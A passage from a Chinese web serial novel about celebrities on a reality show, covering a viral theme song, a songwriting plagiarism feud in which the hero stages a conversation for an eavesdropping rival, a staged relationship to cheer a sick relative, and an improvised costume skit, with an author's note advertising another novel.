季宁深眉梢微挑,似乎对他这么快就有了主意而感到意外,但很快便恢复了那副懒洋洋的样子:“嗯哼。想到办法了?” “有个初步的想法。”江砚舟舔了舔有些干的嘴唇,压低声音,“不过在那之前,需要你帮我查点东西。” 而当天晚上,节目组按照计划,将白天录制的主题曲片段经过简单后期处理后,上传到了各大音乐平台和社交账号。 谁都没料到,这首由众多跑调大王演唱的曲子,竟然在短短两小时内迅速发酵,直接冲上了热搜榜。 有路人偶然点进音频,发现旋律简单洗脑,即便能听出部分演唱者的音准有些许偏差,却莫名让人忍不住循环播放,于是纷纷留言: 【谁懂啊,本来是随手一点,结果莫名其妙单曲循环了半小时,这调子也太抓耳了吧!】 【哈哈哈哈哈我虽然能听出有人跑调,但感觉整体居然不违和,甚至有点好听是怎么回事?】 【求音源!想加入我的跑步歌单!】 然而,热度起来后,总有看热闹不嫌事大的营销号开始整活。 其中一个颇具影响力的娱乐营销号,截取了直播中李柏、李乐乐、季念念还有江汀等人的跑调片段,放到了微博上。 合集一出,评论区瞬间被问号淹没: 【???????】 【等一下!我刚从官博过来,听完觉得挺好听的,你告诉我这是同一首歌?】 【所以节目组是修音了吧?这原声简直灾难现场啊!】 就在路人纷纷质疑节目组是否进行了大幅度的修音时,无数观看了直播全程的观众涌了进来,激情解释: 【不是修音!真的不是!直播唱出来的效果就这样!你们去看回放!】 【重点根本不是修音,是江砚舟写的曲子太牛了!】 【对!他是用简单的旋律框架,把所有人的唱歌特色给组织起来了,形成了一种奇妙的和谐!】 【指路直播回放79:56:03,看江砚舟创作和教学那段,看完你就懂了,膝盖直接献上!】 在知情人的安利下,越来越多路人好奇地去翻看白天的直播回放。 当看到众人唱得鬼哭狼嚎,导演干呕的画面时,大家忍不住笑出了声; 而当看到江砚舟看似随意、却写出了化腐朽为神奇的简单旋律时,绕是对他无感的路人都忍不住发出各种惊叹。 天才! 这是真正的天才啊! 自然而然地,同样写了歌、效果却没那么好的暨明旭被拉出来进行了比较。 【没有对比就没有伤害,暨明旭那段真是……又难唱又难听。】 【他写的时候光想着怎么显摆自己专业了吧?完全没考虑演唱的人。】 【所以说啊,创作不是炫技,服务作品和表达才是核心。】 【我错了,我之前还怀疑过江砚舟请枪手,他有这实力需要请枪手???】 暨明旭的粉丝看到这些评论直接破防,纷纷下场维护正主,坚称是其他嘉宾唱功太差接不住,浪费了好曲子,并且觉得路人都是盲目跟风夸赞,根本没有一点自己的欣赏水平。 这场关于创作理念和作品优劣的讨论,自然也被暨明旭本人看到了。 他猛地将手机反扣在桌面上,发出“啪”的一声脆响,胸口剧烈起伏,气得几乎要呕出血来。 凭什么?他辛辛苦苦写的、运用了更多技巧和复杂和弦的曲子无人问津,甚至被嘲难听;江砚舟那首简单得像儿歌、毫无技术含量的调子却被捧上了天?这些人懂不懂音乐?有没有审美? 就在暨明旭恨不得立刻发微博痛斥这群“睁眼瞎”的时候,zelon经纪人的电话打了进来。 暨明旭深吸了好几口气,才勉强压下沸腾的怒火:“喂?” “明旭,网上的评论我看了,你别往心里去。”经纪人的声音透过听筒传来,“一首即兴创作的歌,根本代表不了你整个创作生涯的水平。你的实力,粉丝们都是清楚的,千万不要因为这一次的争议影响心态。” 这话本是安慰,但听在极度敏感且正陷入自我怀疑与愤怒中的暨明旭耳里,却完全变了味。 他敏锐地捕捉到经纪人话语里另一层意思—— 对方这话不还是在变相承认他这首曲子不如江砚舟的吗? 他顿时更加不快,语气生硬地顶了回去:“我看网上那些人根本不懂什么是好的音乐!只知道追求那种低级的口水旋律!” 经纪人在那头沉默了一下,似乎有些无奈,但还是顺着他的话:“是是是,大众审美有时确实比较……浅薄。你别钻牛角尖,好好休息,准备接下来的录制就好。” 话题本该到此结束,经纪人例行公事地安抚完毕,正准备挂电话。 然而,他似乎犹豫再三,还是没忍住 再次确认:“对了,明旭啊,你跟江砚舟有争议的那几首曲谱……确定都是你自己独立创作的,没错吧?” 暨明旭一下子炸了,声音猛地拔高,“宿姚问这种问题也就算了,你是看着我一步步走到现在的,你也不信我?!” 电话那头的经纪人似乎没料到他的反应会如此激烈,连忙解释安抚:“我就是随口一问,明旭你别激动!你是我一手带出来的,我当然相信你!明天我让公关部处理一下网上的负面评论,争取把热度压下去。” 听着经纪人反复强调“相信他”,暨明旭的怒火才稍稍平息了一些。 “行了王哥,我知道了。”暨明旭的语气缓和了些,“网上的事你看着处理吧,我这边没事了。” * 黄芷禾坐在劳斯莱斯的后座,小心翼翼地看了眼身旁的中年男人。 “刘总,”她斟酌着开口,声音比平时更软了几分,“之前跟您提过的那个L家的全球代言,品牌方那边……有消息了吗?” 这话她已经问过不下三次。 自从搭上刘世昌,她原以为那些会获得各种各样的顶级资源,可没想到,刘世昌除了保住她《推开家门是你》的嘉宾身份之外,她手里依旧是空落落的,连个像样的商务合作都没新增。 刘世昌脸上的惬意淡了些,眉头皱起,似乎很不喜她在这种时候还提要求。他拖长了语调:“怎么又提这个?不是跟你说了嘛,你现在路人缘不好,L家走的是高端优雅路线,这个时候把你推上去,品牌方那边不好交代。” 又是这套说辞。 黄芷禾心里泛起一阵腻烦,却不敢表露半分,只能垂下眼睫,装作失落的模样:“我知道……可我已经很努力在挽回形象了。” “急什么?”刘世昌伸手,用肥胖的指腹轻轻刮过她的脸颊,“等过段时间,我让公关团队帮你运作运作,先挽回点个人形象,再找个合适的契机,代言的事自然水到渠成。你现在最重要的,是好好陪我,别想这些有的没的。” 他的触碰让黄芷禾胃里一阵翻腾,她强忍着不适,挤出一个乖巧的笑容:“我听您的。” 见她不再追问,刘世昌的脸色缓和了些。他从西装内袋里掏出一个丝绒盒子,递到她面前。 “行了,别耷拉着脸了。看看,喜欢吗?” 黄芷禾迟疑地接过,打开盒子。 即便车内光线昏暗,那颗主钻耀眼的光芒还是瞬间刺痛了她的眼睛。那是一枚设计夸张的钻戒,主石硕大,周围镶着一圈碎钻,奢华得毫不掩饰。 “前两天去拍卖会,看着挺衬你的,就拍下来了。”刘世昌语气随意,仿佛只是买了个小玩意儿,“我记得你手指尺寸跟我家那个黄脸婆差不多,就按她的尺寸买的。不过给你这颗,可比当年送她的那个大多了,也亮多了。” 他的话极大满足了黄芷禾的攀比欲和虚荣心。 “谢谢刘总!”她立刻收起所有的失落,眼底满是雀跃。 黄芷禾小心翼翼地拿出钻戒,戴在自己的无名指上,圈口不大不小正好合适。冰凉的大钻石贴在指尖,却让她心里涌起一阵暖意。 这才是她想要的生活,有珠宝,有地位,有享不尽的荣华富贵。 至于过程?谁在乎呢。 她抬起手,对着车内的后视镜反复欣赏着钻戒,脸上是掩饰不住的笑容。 刘世昌看着她满足的样子,伸手揽过她的肩膀。她没有像之前那样僵硬地躲闪,反而主动靠了过去。 黄芷禾沉浸在一种虚浮的满足和对未来的幻想中,丝毫没有注意到,不远处街角的阴影里,一个身影正默默收回举着的相机镜头。 * 江砚舟抱着刚买的书回房间时,江知雾正好打开门。 见他回来便晃了晃手机,随口提了句:“出院时光顾着赶去录制,还没跟姑祖母报平安,现在时间刚好,我去露台给姑祖母打个电话。” 江砚舟正在给经纪人章文时发消息,闻言点头:“行,你先跟姑祖母说我伤口恢复得挺好,让她别担心,等录完这阶段节目我就去看她。” 童话小屋的露台视野开阔,晚风带着小镇特有的宁静气息拂面而来。 江知雾拨打号码的间隙,无意中瞥见了半倚着栏杆的季宁深。 两人默契地相视一笑。 似乎这个能眺望远方、吹吹晚风的露台,对他们俩都有着独特的吸引力。 “姑祖母?”电话就在这时接通了,江知雾暂时收回目光,语气轻快,“嗯,我和砚舟都出院了,没事了,您别担心。” 视频那头,江老太太靠在病床上,虽然手背上还连着输液管,但精神头看上去不错。 听到姐弟俩都平安出院,老太太明显松了口气,絮絮叨叨地嘱咐了好一阵要他们注意身体。 说着说着,老太太忽然眯起眼睛,凑近屏幕仔细瞧了瞧:“知雾啊,你旁边是不是还有人呐?” 江知微怔,这才意识到自己不小心将站在侧后方的季宁深纳入了镜头一角。 她正要解释,老太太已经自顾自地继续说了下去:“哎呦,这个娃娃看着挺不错,眉眼周正,鼻梁也高,看着就精神。” 季宁深见状,出于礼貌,自然地上前两步,对着镜头温和地笑了笑,打招呼道:“奶奶您好,我是季宁深。” “季宁深……这名字听着耳熟……”江老太太喃喃念叨着,可惜人老了,记性也跟着不怎么好,想不起来究竟在哪听过。 她甩甩头,似乎放弃了回忆,但脸上的笑容却一下子灿烂起来,带着点埋怨和惊喜看向江知雾,“好你个小丫头!交了男朋友也不告诉姑祖母一声!” 江知雾觉得有点无奈和好笑。 这已经不是第一次了,好像所有人看见她和季宁深站在一起,就会自动将他们归为情侣关系。 她正想开口澄清,目光却瞥见了视频里老太太苍老手背上清晰的针孔和那些冰冷的医疗仪器。 老人家自己还在病中,却难得显出这样高兴的神采。 “奶奶,其实我们只是……” 就在季宁深张了张嘴,准备开口解释两句时,江知雾突然伸手,轻轻握住了他垂在身侧的手腕。 季宁深猛地转头看她,眼中满是错愕。 江知雾却对着镜头笑道:“姑祖母,本来想等稳定点再带他正式去见您的,没想到先被您发现了。” 季宁深的心脏在胸腔里毫无章法地、剧烈地狂跳起来。 他下意识屏住呼吸,目光怔然地落在江知雾近在咫尺的侧颜上。暮色为她镀上一层朦胧的光晕,她长睫微垂,嘴角噙着浅淡的笑意。 掌心传来的温度柔软又真实,让季宁深一时间忘了该作何反应,只能任由她握着自己的手,耳边满是自己越来越响的心跳声。 第50章 江老太太得知江知雾有了男朋友,昏花的老眼瞬间亮起了光。 她语气里满是掩不住的激动:“哎哟!这可真是天大的好消息!我就说这男娃看着顺眼,跟我们知雾丫头站在一起多般配!” 她越说越起劲儿,原本还带着几分病气的声音都清亮了不少,开始絮絮叨叨地交代起来:“宁深啊,我们家知雾丫头看着独立,其实心思细,有时候做事太拼,你往后多盯着点,别让她累着。还有啊,她胃不太好,生冷的东西得拦着,早餐一定要吃热乎的,她总爱糊弄……” 老太太一口气说了大半晌,从江知雾的饮食作息,说到她小时候挑食的小习惯,连“逢年过节要是有空,就跟知雾一起回老宅吃顿饭”这种细节都敲定了,句句都是把季宁深当成自家人在叮嘱。 季宁深始终微微倾身,认真地看着屏幕里的老人,嘴角含着温和的笑意,对于老 太太每一个问题、每一句叮嘱都耐心又得体地回应着:“奶奶您放心。”“我会照顾好知雾的。”“谢谢奶奶关心……” 他的声音低沉悦耳,态度诚恳,哄得老太太心花怒放,笑声不断。 江知雾几次想插话打断姑祖母这过于热情的盘问,都被老太太用“你别打岔”的眼神给瞪了回去,只好无奈地陪着笑,偶尔瞥一眼身旁配合得天衣无缝的季宁深,心情略为复杂。 等老太太终于说累了,江知雾才笑着接过话头:“姑祖母,时间不早了,您刚输完液,得好好休息,我们改天再跟您视频。”又叮嘱了几句让护工多留意老太太的状态,这才挂断了电话。 屏幕暗下去的瞬间,江知雾立刻松开了握着季宁深的手。 她转过身,看向还站在原地的季宁深,脸上带着几分歉意:“抱歉啊宁深,刚才是我唐突了。姑祖母她身体一直不太好,很少这么高兴,我实在不忍心扫她的兴,才临时跟你演了这出戏。” 她解释得坦诚,眼神里没有半分敷衍,“要是让你觉得不舒服,真的很对不起。” 季宁深感觉手腕处那柔软的触感和温度骤然消失,心里莫名空了一下。 他压下胸腔里依旧有些紊乱的心跳,抬眼看向江知雾,语气轻松:“没关系,能帮上忙,让奶奶开心,我也很高兴。” 他的目光掠过江知雾难得有几分局促的面庞,唇角几不可察地弯了一下,补充道:“而且,我演技还不错吧?没露馅。” 江知雾被他这话逗得轻笑出声:“何止不错,堪称影帝级发挥。谢谢你了。” “举手之劳。”季宁深耸耸肩,姿态慵懒随意,仿佛刚才那个心跳加速、紧张屏息的人不是他。 两人相视一笑,默契地没有再继续这个话题,一前一后离开了露台,朝屋内走去。 刚走进二楼的走廊,光线由明转暗,江知雾脚步微微一顿。 只见前方走廊的阴影里,一个人正环抱着手臂,斜倚在墙边,脸色在昏暗的光线下显得有些不大好看,双眼一眨不眨盯着他们俩。 “砚舟?”江知雾喊出他的名字。 江砚舟显然等了有一会儿了,见两人终于进来,立刻挺直了背,语气硬邦邦的,带着毫不掩饰的不爽和审问:“你们俩在阳台干嘛呢?” 江知雾道:“刚才给姑祖母打电话报平安,碰巧在露台遇到宁深,就聊了两句。”她没提演戏的事,一来怕江砚舟炸毛,二来也觉得没必要把临时的小插曲闹大。 江砚舟的目光在江知雾和季宁深之间来回扫了两圈,最后落在季宁深身上,眉头皱得更紧了。 这人明明刚才在院子里还一副懒洋洋、对什么都提不起兴趣的样子,怎么跟姐姐在露台待了会儿,浑身突然就多出了一种……意气风发的感觉? 没等他再琢磨出点什么,江知雾已经主动转了话题:“对了,你之前说要自己处理枪手的争议,现在有头绪了吗?” 她问得直接,并没有避开季宁深的意思。 江知雾对季宁深的观感确实不错,无论是原书中他多次对江砚舟伸出援手、顶着舆论压力替对方说话,还是现实中表现出的沉稳和善意,都让她觉得这人值得信任。 但江砚舟显然不是这么想的。 他下意识往江知雾身边凑了凑,想避开季宁深,却见姐姐没丝毫避讳的意思,只好悻悻地停下动作,闷声道:“嗯,有个初步的想法了。” “哦?”江知雾挑了挑眉,眼里闪过一丝意外,“倒是比我想的快。” 江知雾没继续追问细节,既然已经选择把事情交给江砚舟自己处理,便不会再处处插手—— 信任从来不是嘴上说说,而是要给对方足够的空间去尝试、去成长。 她抬手拍了拍江砚舟的肩膀,语气里带着毫不掩饰的鼓励:“有想法就好,不管最后结果怎么样,敢去做就已经比之前进步多了。” 说完,她转头看向季宁深,礼貌地点了点头:“今天谢谢你,时间不早了,我先回房了。” 季宁深眼底还残留着几分笑意,闻言也颔首回应:“晚安。” 他目送着江知雾离开,对江砚舟丢下一句“加油”,便也优哉游哉地回房间了。 江砚舟盯着那背影消失在走廊尽头,才愤愤地攥了攥拳头。 要不是正事要紧,他真想跟季宁深理论理论,别总一副跟他姐很熟的样子! 不过眼下显然不是置气的时候。 他掏出手机,快速给经纪人章文时发了条消息:「现在有空吗?方不方便过来一趟?有点急事。」 章文时的回复很快弹出来:「刚忙完,正好有空。怎么了?节目录制出问题了?」透过文字都能看出他的警惕,显然是怕这位祖宗又惹了什么麻烦。 江砚舟手指飞快地打字:「不是录制的事。是关于跟暨明旭枪手争议的。你过来一下,详情面谈。」 章文时:「???你打算干嘛?不会是喊我帮你一起给暨明旭套麻袋,打他一顿出气吧?」 江砚舟:“……” 他突然就很想知道,自己在章文时心里到底是个什么混世魔王的形象? 腹诽这么一句后,江砚舟回复道:「放心,不乱来。只是想请你过来陪我演一场戏。」 * 与此同时,童话小屋的另一个房间里。 暨明旭烦躁地将手机扔在床上,屏幕还亮着,上面是营销号发布的江砚舟作曲的直播切片。 尽管团队已经尽力压下了有关他的负面评论,但那些对江砚舟毫不吝啬的赞美却依旧让暨明旭觉得扎眼。 房间里闷得让人喘不过气,他甚至觉得同屋的宿姚那安静看书的侧影都像是在无声地嘲讽他。 不知从什么时候开始,两人几乎没再有什么交流,陷入了一种半冷战的尴尬状态。在暨明旭看来,宿姚就是典型的“胳膊肘往外拐”—— 明明他们俩才是一个组合的队友,宿姚却总对着江家姐弟俩摆出一副温和客气的样子,反而对他态度怪怪的。 不就是爱巴结有钱人嘛! 暨明旭不屑跟他待在一个空间,猛地站起身,抓过外套,一声不吭地摔门而出,想找个地方透透气,驱散心头的郁结。 天色将暗未暗,暮色如同一层薄纱,轻轻笼罩着童话小屋。 暨明旭揣着一肚子烦躁下楼,没心情去欣赏外面的风景。他满脑子都在盘旋着一个念头: 要是能拿出更有力的说法,来印证他才是那几首爆曲的原创就好了。 他手里光有比江砚舟更早的时间线,可在有些愚昧的网友眼里,依旧还是不够有说服力。 不知不觉间,暨明旭走到了一楼。 大部分嘉宾都在楼上房间或公共区域活动,一楼显得格外安静。就在他准备推开大门出去透口气时,眼角余光瞥见走廊深处有一间房间虚掩着门。 那扇门内明明没亮灯,却有压低的说话声断断续续飘出来,隐约能辨出其中一个是江砚舟的声音。 暨明旭动作一顿,好奇心被勾了起来。他放轻脚步,悄无声息地靠近那指节宽的门缝。 透过门缝,他隐约看到两个身影。一个是江砚舟,另一个是略微发福袋中年男人。暨明旭眯起眼仔细辨认,认出了那是江砚舟的经纪人,章文时。 章文时出现在这里干嘛? 暨明旭心头一跳,立刻侧身躲到门边墙壁的阴影里,屏住呼吸,竖起了耳朵。 里面的声音清晰地传了出来。 “……我不管!网上天天挂着我跟暨明旭那破事儿,看着就恶心,你必须赶紧让公关团队想办法把这事给我平息了!”江砚舟的话带着明显的不耐和火气。 紧接着是章文时无奈又带着点焦躁的回应:“我的祖宗哎,我跟你解释过很多次了,这种争议时间线拖得太长,双方都拿不出当年一锤定音 的实际证据,它就是一笔坏账,掰扯不清楚的!越纠缠热度越高,对你没好处!” “证据证据!我要是能找到早就甩他们脸上了!”江砚舟的声音拔高,“以前写歌都是拿纸笔记的手稿,写完就扔,谁想得到几年后会冒出个暨明旭,谁又会特意去给几张破纸做个时间备案?!” “这就是问题所在啊!”章文时听起来也有些急了,“现在的情况就是,你们各执一词,都没有铁证。法律上很难认定,舆论上就只能看谁的故事更可信。而且暨明旭好歹还有平板拍摄的时间证明,真论起来你还会更吃亏一点。” 暨明旭在门外听得心怦怦跳,手指不自觉抠紧了墙缝。 江砚舟他们拿不出证据证明清白? 他心里悄悄松了口气,暗想自己果然赌对了。 门内,江砚舟的语气开始咄咄逼人:“那你说怎么办?就眼睁睁看着他这么污蔑我?” 短暂的沉默后,章文时似乎深吸了一口气,声音略微压低了一些:“拿不出物证没关系,关键是创作思路!这首歌是怎么诞生的,灵感来源、动机、每个段落为什么那么写、甚至修改的过程,这些细节只有真正的原创者才知道。暨明旭就算能抄旋律,他能说清这些吗?上次江总直播的时候问他,他不就卡壳了?” 门外的暨明旭听到这里,赶紧把耳朵凑得离门缝更近,生怕漏掉一个字。 要是能把江砚舟说的“创作思路”一字不落地记下来,下次再被问起类似的问题,他就能照着这套说辞应付。 屋内,江砚舟的声音顿了顿,似是在回想,又像是组织语言,随后不疾不徐地说道: “《午后回声》最初的灵感你也知道,是我那年夏天的午后,跟我姐坐在花园里乘凉,看树叶光影在地上斑驳跳动,突然就有了一段主歌的旋律。” 章文时配合地“嗯”了一声,像是鼓励,又像是在认真聆听。 江砚舟把语速放慢,连细节都交代得清清楚楚:“副歌部分本来想写得更和缓,后来改了三次,变成轻快的调子。至于间奏的钢琴,是因为那天老宅的旧钢琴走音了,我顺着那个不准的音,反而弹出了现在的和弦走向。” 接着,江砚舟又从和弦的选择,段落结构为什么这么安排……等方面,把《星轨之外》、《一片跃动的尘埃》这些跟暨明旭手稿产生争议的歌,全部细细梳理了一遍。 “……你看,你对每首歌的创作过程,比暨明旭清楚多了。”章文时终于出声,语气如释重负,“这些思路要真摆出来,虽然不能当什么实际证据,但至少能让观众偏向你八成。” “但愿吧。”江砚舟的语气也放松了下来,“我可不想跟他继续掰扯这些事情。” 余下的几句闲聊,多是章文时叮嘱江砚舟注意情绪管理,少跟暨明旭正面冲突,一切交给团队引导云云。 江砚舟懒洋洋地应和着,明显已经没有先前的火气。 过了片刻,章文时忽然朝门口方向瞟了一眼,低声道:“行了,他走开了。” 江砚舟立刻恢复了平日里懒洋洋的样子,摆摆手:“OK,接下来就没你事了,我送你到门口。” 章文时一脑袋问号,忍不住问:“不是,你大老远把我从市区喊过来,就为了让我配合你念这几句台词?我还以为你有什么急事要商量,早知道打语音电话不就行了?” 江砚舟斜睨他一眼:“你懂什么?这种事情得当面配合才更有可信度。” 章文时被江砚舟推着往外走,嘴里还在嘟囔:“不是,我还是没完全明白,你这到底唱的是哪一出啊?神神秘秘的……” “嘘——”江砚舟竖起食指抵在唇边,示意他噤声,眼神往走廊另一头瞟了瞟,压低声音,“细节回头再跟你说。” 章文时被他这故作神秘的样子弄得哭笑不得,只好把满腹疑问暂时咽了回去。 两人刚走到客厅,就听见厨房方向传来窸窸窣窣的动静。 只见季念念正蹦蹦跳跳地从厨房方向跑过来,怀里揣着个小小的纸袋子,脸蛋上沾着点奶油渍,显然是刚偷吃了甜点。 看到江砚舟,季念念眼睛一亮,立刻加快脚步冲过来,举着手里的纸袋子献宝似的晃了晃:“砚舟哥哥,我刚才在冰箱看到了马卡龙,偷偷拿了两块,这个草莓味的超好吃,我想分江姐姐一块!” 说着,她就想从纸袋子里掏出马卡龙,小手刚伸进去一半,就被江砚舟伸手按住了。 江砚舟皱着眉,语气算不上好:“我姐晚上不吃甜食。而且现在都几点了,小孩子家家的该上楼睡觉了,别在这里晃悠。” 季念念脸上的笑容瞬间垮了下来,小嘴微微噘起,有点委屈地看着他:“可是马卡龙真的很好吃……江姐姐也不能尝一口吗?” “不能。”江砚舟半点没松口,伸手轻轻捏了捏她的脸颊,“听话,你也少吃点甜食,小心以后一口蛀牙,说话漏风。” 季念念还想再争取一下,可又怕自己以后真成了说话漏风的小老太太,只能小声嘟嚷了一句“好吧”,央求江砚舟千万别告诉舅舅自己偷吃零食的事情,然后抱着纸袋子,一步三回头地往楼梯口走去。 江砚舟看着她上了楼,刚收回目光,就见旁边一扇房门打开,宿姚从里面走了出来。 他手里拿着保温杯,似乎正要去接水。 看到江砚舟后,宿姚先是微微一怔,随即礼貌地颔首,声音温和:“晚上好。” 江砚舟不咸不淡地“嗯”了一声,算是回应。 宿姚的目光下意识在他身后扫了一圈,没看到江知雾的身影,犹豫了一下,还是忍不住问了一句:“江姐姐已经休息了吗?” 江砚舟冷着脸,语气更淡了:“嗯。” 宿姚听出他语气里的疏离,也没再多说什么,只是点了点头,继续去接水。 江砚舟看着他的背影,心里嘀咕了一句“没看到我姐你失望个锤子”,才重新推着章文时往外走:“赶紧走,别杵在这儿了。” 两人一路走到玄关,刚推开大门,迎面就碰上了刚从外面回来的李柏和李乐乐兄妹俩。 李柏手里提着几个精致的小购物袋,看到江砚舟,立刻笑着挥手。 “砚舟!你们出去散步吗?” 江砚舟停下脚步,摇了摇头:“不是,送我经纪人出门。” 李乐乐说:“我和我哥在小镇上逛了逛,看到有家小店卖的饰品挺有意思的,这个发卡我觉得特别适合江姐姐,想着送给她当小礼物。” 说着,她从袋子里拿出一条浅蓝色的发卡,上面缀着一颗小小的珍珠,样式简单又精致。 “本来想直接送上去的,既然砚舟你在,就麻烦你帮忙转交一下啦! 江砚舟看着递到面前的发卡,眉头动了动,没多说什么,伸手接了过来。 他语气依旧没什么起伏:“知道了,我会给她的。” 兄妹俩又寒暄了两句便先进屋了。 等两人的身影消失在玄关,章文时才忍不住感叹了一句:“江总还真是挺受欢迎的哈!”就出个门的功夫,他已经听到不下三句江姐姐长,江姐姐短的问候了。 江砚舟听见他的话,心里那股说不清道不明的烦躁又冒了头。 他姐当然值得被所有人喜欢,这一点他从不怀疑。 可这喜欢是不是也太多了?一个节目里,这帮人成天一口一个“江姐姐”“知雾姐姐”……网上还有不少铺天盖地、喊着“姐姐娶我”、“江姐姐看看我”的狂热评论。 好像一瞬间,全世界都在跟他抢姐姐。 他闷闷地哼了一声,一边觉得与有荣焉,一边又酸得冒泡。 而章文时只是随口感慨了一句,眼下思路又飘到了正事上。 他追问:“对了,刚才在屋里,你让我跟你演那出戏,还特意等着暨明旭来偷听,到底是啥用意啊?我到现在还是不理解。” 江砚舟心不在焉,跟他完全不在一个频道,只听见了最后一个“解”字。 他气呼呼地强调:“什么姐?江知雾是我姐!亲的!唯一的!懂?” 章文时:“……” 做人不要太敏感—— 作者有话说:===【专栏《反派的早亡亲姐回来了》,求收藏吖~】=== 姜翎死后才知晓,自己不过是一本小说里的早亡工具人。 因她的离世,弟弟姜时礼变得乖戾跋扈,在疯狂追求小白花女主无果后,驱车撞下悬崖丧生。 姜翎直接被气活过来,睁眼就看到姜时礼插兜站在跟前,表情拽得要死。 时隔六年,对方的第一句话是: “谁派你来的?劣质的冒牌货!” 姜翎:“……” 那天,有人看到云城中学凶名在外的校霸姜时礼,被一个小姑娘追着打:“混账!再跟你姐这么说话试试?” * 面对这位登堂入室、自称是他亲姐的女人,姜时礼厌烦,不屑,拼命反抗。 他绝食抗议,姜翎不为所动,并当着他面点了一桌炸鸡烧烤小龙虾,吃得津津有味。 他逃课混进网吧,姜翎坐在他旁边的机位,打得比他还激动。 他把头发染得五颜六色,姜翎淡定举起手机拍摄,把丑陋大头照挂在客厅正中央。 姜时礼屡战屡败,从愤怒到崩溃,不得不接受一个现实—— 这女人,好像真是他亲姐? 念头一起,姜时礼瞬间红了眼眶。 他自认是个克死父母亲姐的灾星,早就该一个人烂在阴沟里。 却没想到,这道以为永远熄灭的光,竟会重新照进他的生命。 * 顾旭白和姜翎曾是同班同学。 上学时期,姜翎就觊觎这位校草的美貌(bushi),花言巧语哄着人跟自己谈起了恋爱。 秋深风凉,庭院沉沉。 姜翎无意间抬眸,看到了一个立在阶下阴影中的男人。 他眉宇间带着清贵的疏离,一身素黑,仿佛是来参加一场肃穆的祭奠。 那双深不见底的目光有如实质,分毫不移地落在姜翎脸上。 姜翎心头一跳。 这位……不就是她当年千方百计哄到手的男友吗?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-55 第51章 直到章文时被江砚舟塞回车里,他都没闹懂对方究竟是怎么个打算。 江砚舟站在车窗外,冲他挥挥手,满不在乎地说:“明天你就等着看吧,暨明旭肯定按捺不住。” 次日清晨,导演神神秘秘地把一堆服装道具放到了嘉宾们面前。 看到他满脸堆笑的模样,众人心中不由都闪过不祥的预感。 一般情况下,导演笑成这样准没好事。 果不其然,导演举着喇叭,笑眯眯地宣布了今日的特殊环节——故事接龙&即兴演绎。 规则很简单:节目组提供一个故事开头,由直播间网友实时接力编写后续情节,嘉宾们则需要根据不断滚动更新的剧情,即时扮演分配到的角色,将故事表演出来。 “首先,公布由网友们投票选出的各位角色身份!”导演故意拖长了调子,制造悬念。 工作人员把身份牌一一递到嘉宾手中。 “明旭,你来负责演‘琴师’这个角色。”导演说。 暨明旭微微一怔,随即脸上绽开一抹恰到好处的谦逊又自信的笑容。 他上前一步,对着镜头和嘉宾们颔首示意:“谢谢大家厚爱。我之前确实学过几年古琴,不知道能不能贴合网友心中的形象,先试试琴找找感觉吧。” 旁边早已备好了一架古琴。暨明旭走过去,优雅地撩衣坐下,修长的手指轻轻拨动琴弦。 一串清越空灵、颇具古韵的音符流淌而出,他即兴弹奏了一小段,技法还算娴熟,配合上潇洒的姿态,也迷倒了直播间一大片粉丝。 【!!!明旭居然会弹古琴?这也太全能了吧!】 【这段旋律好好听啊,不愧我连夜号召亲友投票,感觉琴师的角色就是为他量身定做的。】 【不愧是才华横溢的原创音乐人!随手一弹的调调就跟别人不一样!】 【这角色肯定需要全程弹奏,非常考验功底和技术,舍我明旭其谁!】 黄芷禾觉得这段旋律好听归好听,不过技法听上去差了那么一截,说难听点,就是弹奏水平配不上这段旋律。 但她还是微笑着鼓掌,给予称颂:“明旭,网友让你来演琴师是实至名归,真好听。” “过奖。” 暨明旭故作随意地抬手拂过琴弦,坦然接受她的夸赞。 他带着优越感看了江砚舟一眼,不过对方似乎并没有把注意力放在他身上。 紧接着,导演继续公布剩余的投票结果。 “季老师,您扮演的角色是美丽动人、体弱多病的公主。” 季宁深眉梢几不可察地动了一下,但俊美的脸上没什么波澜,只淡淡应了一声:“嗯。” 反倒是江砚舟幸灾乐祸,指着他挑眉:“季宁深演公主?他都快一米九了吧,哪有这么大只的公主啊!” 可没等他高兴一会儿,导演就接着道:“砚舟、李柏,负责演公主的贴身侍女。” 江砚舟呲着的大牙马上就收了回去。 导演继续往下念:“知雾扮演对公主见色起意、当街调戏的粗犷大汉;李乐乐、季念念,你们是‘路见不平、拔刀相助,救公主于水火的双侠客’;至于宿姚、芷禾与江汀……你们演心怀鬼胎、预备在献舞时行刺公主的三名舞姬。” 但凡被念到名字的人,各个脸色怪异。 江砚舟第一个跳出来反对,声音里满是不可置信:“导演,这投票结果没搞错吧?我姐演调戏公主的大汉?她那气场怎么看也不像大汉吧!” 他默了默,脸色更黑,“还有我凭什么演贴身侍女?而且居然还是季宁深的贴身侍女?!” 坐在一旁的江汀闻言,指尖轻轻敲了敲自己的“舞姬”身份牌,抬眼看向江砚舟,语气平静:“要是实在不喜欢侍女角色,我可以跟你换,你过来演舞姬。” 江砚舟想象了一下自己穿着飘逸舞裙、对着季宁深扭腰摆胯、献媚跳舞的画面,浑身一激灵。 权衡再三,他咬牙切齿地憋出一句:“……我突然觉得演侍女挺好!” 这一番抗议和妥协,让直播间的弹幕彻底笑疯了: 【哈哈哈哈这分配到底是谁投出来的,真是人才啊!】 【砚舟:尊严诚可贵,面子价更高,若为节操故,两者皆可抛!】 【可惜了,还想看江砚舟穿小裙子跳舞的场面呢。】 【江姐姐居然演调戏公主的大汉!江姐姐看我!我愿意被你调戏~】 【楼上的,你号不要了?小心江砚舟提着四十米大砍刀顺着网线来找你。】 …… 一切准备就绪,故事正式开始。 暨明旭拿着古琴开始弹起伴奏。 导演清了清嗓子,拿起喇叭,用抑扬顿挫的语调念旁白:“这是一个风和日丽的午后,我们美丽动人却体弱多病的公主,决定微服出游,到城中最大的茶楼稍作歇息,品一盏香茗,听一曲市井繁华。” 话音刚落,茶楼布景的珠帘被一只骨节分明的手轻轻撩开。 率先映入眼帘的是一袭曳地的水红色罗裙,裙摆绣着繁复的缠枝莲纹,随着步伐轻轻晃动。接着,扮演公主的季宁深缓步走了出来。 他身量极高,那身华丽的女装长裙穿在他身上竟奇异地没有太多违和感,反而因他清冷矜贵的气质,衬得那衣裙都仿佛提升了几个档次。 节目组的妆造显然下了功夫,并未刻意将他往娇柔方向打扮,而是突出了眉眼的精致和轮廓的优越 ,长发半挽,珠钗轻摇,面覆薄纱,只露出一双深邃沉静的眼眸,眼尾扫了一抹淡淡的绯红,平添了几分难以言喻的风情。 弹幕全都惊了。 【卧槽???】 